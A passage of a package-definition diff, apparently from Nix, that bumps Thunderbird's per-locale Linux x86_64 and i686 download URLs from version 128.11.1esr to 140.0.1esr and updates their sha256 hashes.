-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ko/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ko/thunderbird-140.0.1esr.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "2585c98466e0ab121a0218839b25a81933338e6c833d90b7f45a9977b0f5b5cf";
+      sha256 = "34c1c3271dea3484d7c30bf61b2a5c5c6229dcb36f36a7aed48bd9264012bd77";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/lt/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/lt/thunderbird-140.0.1esr.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "a8f17cd2ceeae6e8493bc1080a1df398a22606488100e92f9d09734f39f84fc3";
+      sha256 = "b5399800a2963d2971ad6b2af9d6120c4360dd036bd615a8d9c6a49d6eb4287a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/lv/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/lv/thunderbird-140.0.1esr.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "85dfc8450b35967b78cb3c219d243ff03f3647465aeb255b94a4e7f3478dfc89";
+      sha256 = "0d52d2b6fc148acba6e539af0b0341567cfcae88759778674838a964bac65755";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ms/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ms/thunderbird-140.0.1esr.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "bbf683df18e06900b76d05e9a0a6db60d6e8626817a2cb416d37028331343ad4";
+      sha256 = "a6d87b019565474c1bae994ff194721d1e8c17edcf457b597480e0a8c499add0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/nb-NO/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/nb-NO/thunderbird-140.0.1esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "a0bc5dbe90b850510c070963ea21380ce65eb3f6926710d1bb012cb50d784132";
+      sha256 = "83e87a53ac6ffca086a900d019a5665e956e80488f46696d61f81d895a80172d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/nl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/nl/thunderbird-140.0.1esr.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "fc89316092a335e53fdff912350a17369cfa653576979064f1fd1addd9dd38f4";
+      sha256 = "eac0552dc429559d307b10e5013adcf1f1d0d1d0d71a97f027feabe71d29d76e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/nn-NO/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/nn-NO/thunderbird-140.0.1esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "eb686ca02ebd3b2c018697b707763f7b80e0159c3756d1ac3181f5a7071d1cfc";
+      sha256 = "6b3ed73a3d497f50b3fdf7c3f9b7152b9714763946626bea650066fd53145804";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pa-IN/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pa-IN/thunderbird-140.0.1esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "e26e3557f2348ddd3763566a2b5dc4897cfba7181c904807b37a73fceed8e3d6";
+      sha256 = "0cd1f8377484fb87e63e73f449dd619d840b2cc7b0565e68b14603f6bda74131";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pl/thunderbird-140.0.1esr.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "ffdd0668cc1f94ec3ee99dace3cebdc9143be05b7931e7b3d75a11134f410063";
+      sha256 = "4931970272d598f0467ccfd3c657d69d10a001d24c0121dc499933adba3d803f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pt-BR/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pt-BR/thunderbird-140.0.1esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "994b3e8fa530b4d1d5333dec0497d393223b26774ec8e6794308a15240fc8a39";
+      sha256 = "657d43ddbff163876149d16fd5bd5e0533f0d62a173b23a98b7460cdae97b43b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pt-PT/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pt-PT/thunderbird-140.0.1esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "ead36dc368cbf288100e63c1a23a14eed9821ebaad5e53d485a96640cf8c9488";
+      sha256 = "bf302b47797df158b7ca39ed1742449fbcfc11ad91142f4ffb6d6df07a1dcf00";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/rm/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/rm/thunderbird-140.0.1esr.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "32e966ffc3c1353369d498b4dd668726c92b05cd8fa875844b35c55eea24ffbd";
+      sha256 = "983c2a44a00438316599d8b209a58d321203d85744b1988aeb291801f5b42cfe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ro/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ro/thunderbird-140.0.1esr.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "d3e6ee59b0fc83d40e3eb7fc469ab3cd8fc9ad2607ff1177a54c3774c611399d";
+      sha256 = "da1382badfe2064384e5b2d510188821e75de8395ec01a3ddc59498337af4219";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ru/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ru/thunderbird-140.0.1esr.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "23036342924ac4327e8e89236c3a9b5d72aa17bf6e6587995879781546ff3030";
+      sha256 = "6bafdaf08f950c287abc3db13293066f9a3a5f98db8b4672b68d78ad672c4e48";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sk/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sk/thunderbird-140.0.1esr.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "8531b07c52f9b3c4cc1595728101b541fb18f20ff57210d865bae13edc8f984e";
+      sha256 = "2b6c7d5eb509fe7e5612845fe2c45ee5d2ef1d2b08dc0480318745f8a1cf4ad8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sl/thunderbird-140.0.1esr.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "9a36d79fc11198001f6c9dd9dca78ab3985ed08cf34c1545f0f06aa7c4284ead";
+      sha256 = "34f4ae90f269199af655b1b2a1952ae2f68daa42de3f2b25c4ab82f75ed4149c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sq/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sq/thunderbird-140.0.1esr.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "e332752f37abb17e98a667400e0cd2728d11f1fd9a6798d0c4b03e54935c9f52";
+      sha256 = "13a4006da9be23a80dc5d6ec89557f2b020995f2ffc632f4b6e1c7f8dff45f23";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sr/thunderbird-140.0.1esr.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "0091e1363aaed53741b2ac684aeb09412cf43ddbd340989f2420148ddf72623b";
+      sha256 = "415878b0a7f4c2502fac2ece43d9d49337b503614e7d95e260bd959fd165bbec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sv-SE/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sv-SE/thunderbird-140.0.1esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "92f0ed514b9946151ce7047f9afffdadb2f8724f468e435041f2841cb8052d95";
+      sha256 = "6fd2dab46a7b9714b7f0610e200998a7fd200ff4f001dcae730fd91d683da2e5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/th/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/th/thunderbird-140.0.1esr.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "bbc0fd2e86cdc944930d059fc218fe55c96b8ee39f520a340af2afcc9902ef42";
+      sha256 = "8569643967a75a6b1652d59a2123b51a01dd14f362d824b1729c2bb46c6ef016";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/tr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/tr/thunderbird-140.0.1esr.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "2c6e1bbd9804a3cd02381f93034420626cb09968c12d236426ac6823d89c8399";
+      sha256 = "a3b1b7c06217902d7db6564ae026aadf834cbb6c5c5fd05666db2bca31b2cc9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/uk/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/uk/thunderbird-140.0.1esr.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "1fec47b0bddcc4f40d0f4e098429f2ad2a8fc988cffd11d04277bdea320aa2d3";
+      sha256 = "94c217a00eb176a590529b25acc57202dfe1062d8b2f265756848a14789ff76a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/uz/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/uz/thunderbird-140.0.1esr.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "dd6501bc49611667168aec9c4b5a01f41476308abde61c065fee786a3da11025";
+      sha256 = "9f09d983e072cccf4368fcf9211ad15c0fdffe3d90b80dca7ecd4548d5241c94";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/vi/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/vi/thunderbird-140.0.1esr.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "7d752d79dc29a79346a5faeb62ad792c83361813ab43230fc4024d0575ea4aef";
+      sha256 = "c9e71aec1ef7189742c6ea7de163ccdc000d67b5bbe9eb8e3154775b4516a283";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/zh-CN/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/zh-CN/thunderbird-140.0.1esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "99e62f429e86e251229ba05874b2dd6fecbbc961d99b82467e39c4674253c31b";
+      sha256 = "6a8e5d7a11bf0a590bbaa3ccfb4ca5fd05eb8d681a3bf954b3cac76d02ae30a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/zh-TW/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/zh-TW/thunderbird-140.0.1esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "b6454a0ad85263d3a4e211df5a2853367504dcc06323aede8f456b327f7ffc61";
+      sha256 = "dd48a7ab83a0dac285d7bd3d5f933b14d5373957076d55d987562c05a05a6690";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/af/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/af/thunderbird-140.0.1esr.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "d0e5b10d52ad457c51cf7dad8a8e46df110c7637c74cc67f47da353a4a607402";
+      sha256 = "143e125ad9ed1ca18bba8fab8297164715117287681f2cd2ea1b6ce554af90a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ar/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ar/thunderbird-140.0.1esr.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "cae238cc797b4aacf015f866b11496423c7e6751ec3853076459e89a6735f07e";
+      sha256 = "2d76124a2fe46ada9654195f4b2d496e7a26b703ed5fa5343bf85dc5942db033";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ast/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ast/thunderbird-140.0.1esr.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "6003bdefb99a650b0d7d6fddddc5f68e906de90913f77aa50386b3223e73e96e";
+      sha256 = "dae431fb2da2f9cc4d7be363251c59475e3fb1701f0568fb84dd0241d1f41989";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/be/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/be/thunderbird-140.0.1esr.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "b840a0af87de630bacd4ce180aa9277ea4bd47d2fea423513095965b315cc71c";
+      sha256 = "110e8a26ab3f753684587afddd21edaef554fa4b7d72147f86ae185eeed37a17";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/bg/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/bg/thunderbird-140.0.1esr.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "aeb40e4f78ab26ca930e83a4f3e8e17493167bacfa0c3dbfb07ae89208527039";
+      sha256 = "3e12c93255d5baa3fe27688fa6c0fd2dcf7995745be02ddf8a5c400b258e216e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/br/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/br/thunderbird-140.0.1esr.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "e813f9086d8a72885a544108fd7c553517096470d3db9a8bd26796f728e92ee6";
+      sha256 = "49c155f4c024df6481ee659e616a69754265ae1edc556ef1965d0de91f1e4443";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ca/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ca/thunderbird-140.0.1esr.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "260d795eb520f8e834bd829d9fd87cc4542978389589cbb75f7680533224534e";
+      sha256 = "8cf4c59c12310f50b99c8df1a2ee75f4de7d40e199432e6f072966d07e63367b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/cak/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/cak/thunderbird-140.0.1esr.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "485889bf966f5d3ee13bee4afa944786a20a06589cbe3c647e173e20bb866890";
+      sha256 = "b88442ccb6d83e76dca13a8c8cafa23fcd3a7e08d5ff22f10a455c4b3cca2e80";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/cs/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/cs/thunderbird-140.0.1esr.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "5ab583992354e7d228aee2921a8d957af5c68e35e2c6ec6021ce59907170999d";
+      sha256 = "6a77983dc65c55f2b01a6ed2d748f98c62a7a65e0e084476718705a9e139c94a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/cy/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/cy/thunderbird-140.0.1esr.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "60ea047453cf3c8a72b1fb00cd623c69ef2ebe5dfec07cac8864cd2372044728";
+      sha256 = "5829ab3e5ea00e1e4a6e4eb99c48ce4aa1ba2ab57804ac0d3dab532c340ff5a3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/da/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/da/thunderbird-140.0.1esr.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "d1c1f2989fde7fdd1cce600de24c9c4b07ffb1014bf86842162e295b588c6f79";
+      sha256 = "9d7a91f3571d90ac5117d449f6f423ef055034407607a2d44e51bc649c2f2bdc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/de/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/de/thunderbird-140.0.1esr.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "8e3ac147b314d5ec4b5236dc1c58c3db9d48122d069ba366a8e48e459232d853";
+      sha256 = "c79adc6a1524a2fcfd0d98aafb6a7428be0be24418ea1a607f36756a040d1594";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/dsb/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/dsb/thunderbird-140.0.1esr.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "9097661bc5c121006fde36cd002bf26f1d6b3466552dae941cbc87a0463eb662";
+      sha256 = "7696c03fd836ba11be4f0229f43d1400ca56e6b527bd522a89ac5638f9c16bb3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/el/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/el/thunderbird-140.0.1esr.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "2fe49f83343fd5aa6d7c65dfbde69edf1d80f3a44b0a3b20a108df2986db4ea7";
+      sha256 = "3c52933ceda31577743d01f2aaca2439ffc6662d0448f2d6945e0ce88aff5ee9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/en-CA/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/en-CA/thunderbird-140.0.1esr.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "9e9907b25631afc69d80fc14fd798f156177b0f6e012cb6293a38982b2cfed66";
+      sha256 = "46fdc08166c617771130b51b82ccb231a23b5e962690c3a1ea91c42227269b4b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/en-GB/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/en-GB/thunderbird-140.0.1esr.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "c66668a98f93e2e60a65908142721c40dd719ece1fd27bc9b12f098a36934a1b";
+      sha256 = "192b445f7bd7188d931693a68dd21e39f27e57267f8b148ef8c2b5f88597b53d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/en-US/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/en-US/thunderbird-140.0.1esr.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "f11acab3c1b9b8bc0d000e79bb4aa627c8b982da6e867884fd38c018385336bd";
+      sha256 = "d7bdc8f114f7024cafc1a771afc21d90b14b446e9f79eebadaa647ca4d138088";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/es-AR/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/es-AR/thunderbird-140.0.1esr.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "5366b9cf55dbaecac231a870c37422513719d4b387baf1802537b6ed23b7c9b8";
+      sha256 = "3ad413761708129505305bb1f066c88725871202df0715dc882c8992829e7205";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/es-ES/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/es-ES/thunderbird-140.0.1esr.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "0a3c9e633e4563aa12f4a6b727bed4ca3c58b7e68df7d4736241e19c67913ed6";
+      sha256 = "be4931a361054890dce062f72828a579d6021b0cac71bdd65cc02d3e53377b8b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/es-MX/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/es-MX/thunderbird-140.0.1esr.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "9bdf1e3863e2eddbedcdaee4794fca3b7cc43ae28d1447adffa2bdb5521d2fa1";
+      sha256 = "4d53d2eaec30078c36c38b7d623abb57110f574f2a094371d6bf0a3da5264d4a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/et/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/et/thunderbird-140.0.1esr.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "039c3c19263e262973a3bf97985675534698c824401ea2b03fcdf9efa2e98fbf";
+      sha256 = "b385f7934ec821251128ff699bc665b8db7736c8be9b59b2945ce52297748039";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/eu/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/eu/thunderbird-140.0.1esr.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "0c556b10fd5d223cd484bff84e4edf9ee12f22662ef3643e00e25a723e29ca1e";
+      sha256 = "908cb758760d5a1de57295846b2d31ef2dc6c5e1da9eea3ed1ee0c14fdb6908e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/fi/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/fi/thunderbird-140.0.1esr.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "6cc6403a5aa5bf484d1d41d55e4d1d7587097a95b0ee8e9ccf972f65a9c4993b";
+      sha256 = "f6c4df7c3d51bedde4ad2cc78285459a1dd720f6d7fdeb1f27008e5fee2cfa0c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/fr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/fr/thunderbird-140.0.1esr.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "e9e16cf3909a04eeb8beeeb6214534faa4fe71b31c9e7e62a06a3d5888ac93bc";
+      sha256 = "964513460ddd7931b633936e1c6f391b2c4abdedd631be4798ba78f20021fa8d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/fy-NL/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/fy-NL/thunderbird-140.0.1esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "bdedaf4080dd020b48c8146d7ca160f694c30c7ae3813573f14dfffa23c3a5a9";
+      sha256 = "1b66630411b6f61df03ca4a798cdd685dff6555c9a18d4c804767308e20530a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/ga-IE/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ga-IE/thunderbird-140.0.1esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "8b977495fe24fc7a2692c099f4f36e11532e827242f27cc2e9dfb352d79b7ba8";
+      sha256 = "0b4a6a69b9c523370295750836a9a28a27d285e60c08915dfe7bf9523c655a15";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/gd/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/gd/thunderbird-140.0.1esr.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "bab69a8e3283a9bf2a3e4893a3ee5a13fd7855e6c27c6bc888fb7099aa63c3a9";
+      sha256 = "1126f7ab5793e277395fdad38d13ae80dacff108c0fb69c4aefde63ffc75cd71";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/gl/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/gl/thunderbird-140.0.1esr.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "0f1204117d3ac178b4256f6736bae0763e2d725f7f31d35d14c2fe81149983a4";
+      sha256 = "cd032ca7c57c616a442f40595a7d77879a44929ab7dccca331b536215a896c3b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/he/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/he/thunderbird-140.0.1esr.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "b8f9776ee8c13945eb0fafddf35bfe15aebd624266cb7a59c3a35c295c30ca87";
+      sha256 = "3a17bece9f535d164af2c8da64df4291408b6e8a1ba31d8561ee3b559e43d148";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-i686/hr/thunderbird-128.11.1esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hr/thunderbird-140.0.1esr.tar.xz";
       locale = "hr";
       arch = "linux-i686";
